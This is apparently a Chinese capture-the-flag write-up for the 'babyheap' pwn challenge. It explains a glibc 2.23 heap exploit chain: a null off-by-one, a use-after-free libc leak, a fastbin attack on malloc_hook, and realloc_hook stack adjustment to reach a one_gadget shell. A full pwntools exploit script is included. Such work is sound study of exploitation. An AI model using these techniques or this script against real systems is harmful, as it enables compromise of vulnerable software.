前言: 此题攻击链路:null_off_by_one修改堆块信息 => UAF泄露libc基址和其他有用信息 => fastbin attack申请堆块到指定地址 => 利用realloc_hook来调整堆栈 => one_gadget get shell。
文章图片
64位程序,保护全开。
文章图片
程序提供增删查操作,没有改操作。由于题目已经给了libc-2.23文件(虽然给错了)说明远端库是2.23版本的,不是2.27的,在此,我们不用纠结这个。
我们继续往下看
文章图片
增操作在输入Data时的read_input操作中有明显的null_off_by_one,我们可以用他来修改下一堆块的inuse位,使得伪造出已申请堆块未申请得假象。
我们先申请堆块:
chunk0:
create(0x100, 'a' * 0x100)
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/702fc83353ce4530ade7991291bc009c.png)
文章图片
chunk1:
create(0x100, 'b' * 0x100)
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/3feb6eabbf304df1be4432b956b49edd.png)
文章图片
chunk2:
create(0x68, 'c' * 0x68)
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/e336d1b84d0042e589e62f52a2ba1688.png)
文章图片
chunk3:
create(0x68, 'd' * 0x68)
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/86039147dbc043da84536b7e3626f71c.png)
文章图片
chunk4:
create(0x100, 'e' * 0x100)
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/51e8bd2fb0cc4c38bb6c72dd9a8916d3.png)
文章图片
这里可以看到申请出来是这样子的。
由于没有改操作,我们只能先删除,然后再重新申请回来,这里就需要我们来考虑一下删除哪些堆块。
首先,我们要删除chunk2,为后面的fastbin attack做铺垫。
第二步,我们删除chunk3,然后申请回来修改chunk4的inuse位。
最后,chunk0我们要删除,因为chunk0删除之后会链入unsortedbin中,就会把main_area + 88处的地址写入到堆中,我们就可以进行泄露。
delete(2)
delete(3)
delete(0)payload = 'e' * 0x60
payload += p64(0x300)
create(0x68, payload)
这里我们把chunk4的presize位改为0x300,将前面的堆块一起unlink。
做完这些,我们查看一下堆里的一些数据,发现chunk4的size位会被修改成0x100,看似没什么事,但其实在后面我们进行unlink操作时会出错,所以我们需要在申请chunk4时首先伪造一个小堆块就行。
create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/0846de8714d340629c94339d33952736.png)
文章图片
然后我们直接delete chunk4,系统会自动进行操作,把chunk4前面的堆块链入unsortedbin中。
记得我们前面把chunk0给删除了,我们现在把他重新申请回来,这样main_area + 88的地址就会写入chunk1,我们知道前面我们并没有删除chunk1,也就是我们现在可以利用UAF来泄露处main_area + 88的地址。
create(0x100, 'a' * 0x100)
show()
p.recvuntil('1 : ')
main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00'))
print hex(main_area_88)
我们知道main_area + 88与malloc_hook的地址隔得比较近,最多不过后三位不同。
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/5f5bcd2479a1414b975600fcb795f2e0.jpg)
文章图片
而realloc_hook也在附近
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/7f1e2947f6a64891b2ca44d8c090b746.jpg)
文章图片
这样我们就可以直接泄露libc基址了
malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
offset = malloc_hook - malloc_hook_sym
realloc_hook = offset + realloc_sym
gadget_addr = offset + gadget
system = offset + libc.sym['system']
泄露完有用的信息后我们就要开始利用了。我们利用fastbin attack 错位构造来把堆块申请到malloc_hook - 0x23处。
![攻防世界(pwn)babyheap(一些常见的堆利用方法)](https://img.it610.com/image/info8/4cc07f56a3a34a4f95778279370b90e2.jpg)
文章图片
我们首先写入malloc_hook的地址,然后再申请两次就可以申请到malloc_hook了。
payload = 'f' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)
然后我们的思路是把malloc_hook改为one_gadget,之后malloc时就能getshell了。但是行不通。
原因是什么呢?
有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。实际上就是把one_gadget写入到realloc_hook中,然后把realloc_hook写入malloc_hook中,这样做我们就可以通过realloc_hook的改写堆栈的操作来改变我们程序本身的堆栈。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
–来自看雪论坛
经过调试,发现只需要+2就行。
create(0x68, 'g' * 0x68)
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8)
payload += p64(realloc_hook + 2)
payload += '\n'
create(0x68, payload)
【攻防世界(pwn)babyheap(一些常见的堆利用方法)】这里再提醒一下,由于题目给的libc文件版本错误,这里建议不要用自己的(我的不能用),还是使用攻防世界中其他题目的libc-2.23.so文件,只要是64位的就行。
完整exp:
#! /usr/bin/env python
from pwn import *local = 1
if local:
p = process('./timu_so')
else:
p = remote('111.198.29.45', 34070)debug = 0
if debug:
context.log_level = 'debug'libc = ELF('./libc.so.6')
elf = ELF('./timu_so')malloc_hook_sym = libc.sym['__malloc_hook']
realloc_sym = libc.sym['realloc']
gadget = 0x4526a
#0x4526a0x452160xf02740xf1117
def create(size, content):
p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size:', str(size))
p.sendafter('Data:', content)def delete(index):
p.sendlineafter('Your choice :\n', '2')
p.sendlineafter('Index:', str(index))def show():
p.sendlineafter('Your choice :\n', '3')create(0x100, 'a' * 0x100)
create(0x100, 'b' * 0x100)
create(0x68, 'c' * 0x68)
create(0x68, 'd' * 0x68)
create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))delete(2)
delete(3)
delete(0)payload = 'e' * 0x60
payload += p64(0x300)
create(0x68, payload)delete(4)
create(0x100, 'a' * 0x100)
show()
p.recvuntil('1 : ')
main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00'))
print hex(main_area_88)
malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
offset = malloc_hook - malloc_hook_sym
realloc_hook = offset + realloc_sym
gadget_addr = offset + gadget
system = offset + libc.sym['system']payload = 'f' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)create(0x68, 'g' * 0x68)
payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8)
payload += p64(realloc_hook + 2)
payload += '\n'
create(0x68, payload)p.sendlineafter('Your choice :\n', '1')
p.sendlineafter('Size:', '$0')p.interactive()
参考链接: https://blog.csdn.net/seaaseesa/article/details/103173435 https://bbs.pediy.com/thread-246786.htm
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap